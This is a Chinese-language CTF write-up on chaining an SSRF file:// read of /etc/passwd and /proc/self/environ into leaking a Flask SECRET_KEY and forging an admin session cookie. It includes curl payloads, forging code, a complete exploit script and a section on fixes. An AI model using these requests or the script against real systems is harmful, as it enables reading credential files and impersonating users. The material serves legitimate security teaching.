AI渗透测试 -- 从 SSRF 读取密钥到权限提升的完整链路
原创
syuhsao
syuhsao
网络安全者
2026年6月18日 10:08
河南
在小说阅读器读本章
去阅读
一、前言
本文记录一道 CTF Web 题的完整解题过程,涉及两个核心漏洞的组合利用:
- • SSRF(服务端请求伪造):通过
/read端点读取服务器本地文件 - • Flask Session 伪造:利用泄露的
SECRET_KEY重新签名 Session,实现身份提升
⚠️ 本文仅用于 CTF 学习与安全研究,所有操作均在授权靶机环境下进行。
二、漏洞原理
3.1 Flask Session 机制
Flask 默认使用客户端 Session,Session 数据以 Base64 编码后用 SECRET_KEY 进行 HMAC 签名,存储在 Cookie 中。
Cookie 格式:<base64_payload>.<timestamp>.<hmac_signature>
如果 SECRET_KEY 泄露,攻击者可以:
-
- 解码现有 Session
-
- 篡改 payload(如将
guest改为admin)
- 篡改 payload(如将
-
- 用泄露的密钥重新签名
-
- 发送伪造的 Session Cookie
3.2 SSRF 读取本地文件
应用提供了一个 /read?url= 接口用于抓取网页,但没有限制 URL 协议。攻击者可以使用 file:// 协议读取服务器本地文件,从而获取应用源码或环境变量中的敏感配置。
三、侦察阶段
4.1 获取初始 Session Cookie
向目标发送请求,观察响应头:
curl -sI \"https://[TARGET_HOST]/\"
响应中包含:
Set-Cookie: session=eyJ1c2VybmFtZSI6Imd1ZXN0In0.[TIMESTAMP].[SIGNATURE]; HttpOnly; Path=/
4.2 解码 Session Cookie
使用 flask-unsign 工具解码:
pip install flask-unsign
flask-unsign --decode --cookie \"eyJ1c2VybmFtZSI6Imd1ZXN0In0.[TIMESTAMP].[SIGNATURE]\"
输出结果:
{'username': 'guest'}
Session 中存储了用户名字段,目标是将其伪造为 admin。
四、漏洞利用
5.1 验证 SSRF 漏洞
先测试能否读取公网资源,验证功能正常:
curl -s \"https://[TARGET_HOST]/read?url=https://baidu.com\"
# 返回百度首页 HTML,说明功能可用
然后尝试 file:// 协议读取本地文件:
curl -s \"https://[TARGET_HOST]/read?url=file:///etc/passwd\"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
SSRF 漏洞确认存在,file:// 协议未被过滤。
5.2 读取进程环境变量
Flask 应用的 SECRET_KEY 通常通过环境变量注入,读取 /proc/self/environ:
curl -s \"https://[TARGET_HOST]/read?url=file:///proc/self/environ\"
HOSTNAME=[CONTAINER_ID]
PATH=/usr/local/bin:/usr/local/sbin:/usr/sbin:/usr/bin:/sbin:/bin
SECRET_KEY=[REDACTED]
FLASK_APP=app.py
...
成功获取到 SECRET_KEY。
5.3 尝试读取应用源码
作为补充验证,也可以直接读取 Flask 应用源文件:
curl -s \"https://[TARGET_HOST]/read?url=file:///app/app.py\"
典型的存在漏洞的 /read 路由实现如下(复现参考):
import requests
from flask import Flask, request, session, redirect
app = Flask(__name__)
app.secret_key = \"[REDACTED]\"# 硬编码或从环境变量读取
@app.route('/read')
defread():
url = request.args.get('url', '')
# 漏洞点:未对 url 参数做协议白名单过滤
resp = requests.get(url)
return resp.text
@app.route('/')
defindex():
if session.get('username') != 'admin':
session['username'] = 'guest'
return '...'
关键问题:requests.get(url) 支持 file:// 协议(依赖版本),且无协议白名单校验。
5.4 伪造 Session Cookie
获取 SECRET_KEY 后,用 flask-unsign 重新签名:
# 伪造 admin 身份的 Session
flask-unsign --sign \\
--cookie \"{'username': 'admin'}\" \\
--secret '[REDACTED_SECRET_KEY]'
生成新的 Cookie:
eyJ1c2VybmFtZSI6ImFkbWluIn0.[NEW_TIMESTAMP].[NEW_SIGNATURE]
也可以用 Python 手动实现,便于理解原理:
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import SecureCookieSessionInterface
classMockApp:
secret_key = \"[REDACTED_SECRET_KEY]\"
config = {}
# 序列化器
app = MockApp()
s = SecureCookieSessionInterface()
serializer = s.get_signing_serializer(app)
# 伪造 payload 并签名
forged = serializer.dumps({'username': 'admin'})
print(f\"[+] Forged Cookie: {forged}\")
# 验证解码
decoded = serializer.loads(forged, max_age=None)
print(f\"[+] Decoded: {decoded}\")
输出:
[+] Forged Cookie: eyJ1c2VybmFtZSI6ImFkbWluIn0.[TS].[SIG]
[+] Decoded: {'username': 'admin'}
5.5 使用伪造 Cookie 访问
携带伪造的 Session Cookie 发送请求:
curl -s \"https://[TARGET_HOST]/\" \\
-H \"Cookie: session=eyJ1c2VybmFtZSI6ImFkbWluIn0.[TS].[SIG]\"
服务端验证身份通过,返回 flag:
ctfshow{[REDACTED_FLAG]}
五、完整利用脚本
#!/usr/bin/env python3
\"\"\"
Flask Session 伪造 + SSRF 利用脚本
用途:CTF 学习 / 安全研究
环境:授权靶机
\"\"\"
import requests
from flask.sessions import SecureCookieSessionInterface
TARGET = \"https://[TARGET_HOST]\"
classMockApp:
\"\"\"模拟 Flask app,仅用于 Session 签名\"\"\"
def__init__(self, secret_key):
self.secret_key = secret_key
self.config = {}
defssrf_read(url: str) -> str:
\"\"\"通过 SSRF 读取任意 URL / 本地文件\"\"\"
resp = requests.get(f\"{TARGET}/read\", params={\"url\": url}, timeout=10)
return resp.text
defextract_secret_key(environ_content: str) -> str:
\"\"\"从 /proc/self/environ 内容中提取 SECRET_KEY\"\"\"
for item in environ_content.split('\\x00'):
if item.startswith('SECRET_KEY='):
return item.split('=', 1)[1]
return\"\"
defforge_session(secret_key: str, payload: dict) -> str:
\"\"\"用指定 SECRET_KEY 伪造并签名 Flask Session\"\"\"
app = MockApp(secret_key)
s = SecureCookieSessionInterface()
serializer = s.get_signing_serializer(app)
return serializer.dumps(payload)
defmain():
# Step 1: 验证 SSRF
print(\"[*] Step 1: 测试 SSRF ...\")
passwd = ssrf_read(\"file:///etc/passwd\")
if\"root:\"in passwd:
print(\"[+] SSRF 可用,成功读取 /etc/passwd\")
else:
print(\"[-] SSRF 不可用,退出\")
return
# Step 2: 读取环境变量获取 SECRET_KEY
print(\"[*] Step 2: 读取 /proc/self/environ ...\")
environ = ssrf_read(\"file:///proc/self/environ\")
secret = extract_secret_key(environ)
ifnot secret:
print(\"[-] 未找到 SECRET_KEY,尝试读取源码 ...\")
# 备选:读取 app.py
source = ssrf_read(\"file:///app/app.py\")
print(source[:500])
return
print(f\"[+] SECRET_KEY 获取成功(已脱敏): {'*' * len(secret)}\")
# Step 3: 伪造 Session
print(\"[*] Step 3: 伪造 admin Session ...\")
forged_cookie = forge_session(secret, {'username': 'admin'})
print(f\"[+] 伪造 Cookie 生成成功\")
# Step 4: 使用伪造 Cookie 访问
print(\"[*] Step 4: 使用伪造 Session 访问 / ...\")
resp = requests.get(
f\"{TARGET}/\",
cookies={\"session\": forged_cookie},
timeout=10
)
print(f\"[+] 响应内容: {resp.text}\")
# 尝试查找 flag
if\"ctfshow{\"in resp.text:
import re
flags = re.findall(r'ctfshow\\{[^}]+\\}', resp.text)
for f in flags:
print(f\"[!] FLAG: {f}\")
if __name__ == \"__main__\":
main()
六、漏洞修复建议
| 漏洞 | 修复方案 |
|---|---|
| SSRF | 使用协议白名单(仅允许 https://),禁止 file://、gopher:// 等;校验目标 IP 不在内网段 |
| SECRET\_KEY 泄露 | 使用强随机密钥(建议 32 字节以上),不通过环境变量明文传递,避免在源码中硬编码 |
| Session 信任 | 对敏感操作增加服务端 Session 存储(如 Redis),不完全依赖客户端 Cookie 中的数据 |
安全的 SSRF 防护示例:
from urllib.parse import urlparse
ALLOWED_SCHEMES = {\"https\", \"http\"}
BLOCKED_HOSTS = {\"localhost\", \"127.0.0.1\", \"0.0.0.0\", \"169.254.169.254\"}
def safe_fetch(url: str) -> str:
parsed = urlparse(url)
if parsed.scheme not in ALLOWED_SCHEMES:
raise ValueError(f\"不允许的协议: {parsed.scheme}\")
if parsed.hostname in BLOCKED_HOSTS:
raise ValueError(f\"不允许访问内网地址\")
# 还需检查 DNS 解析后的 IP 是否为内网地址(TOCTOU 防护)
resp = requests.get(url, timeout=5, allow_redirects=False)
return resp.text
七、总结
这道题的核心是两个漏洞的链式利用:SSRF 作为信息收集手段,最终目的是获取 Flask 的 SECRET_KEY;拿到密钥后,Flask Session 的客户端签名机制就形同虚设,可以任意伪造身份。
攻击链路:/read 未过滤 file:// → 读取 /proc/self/environ → 获取 SECRET_KEY → 伪造 admin Session → 获取 Flag
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论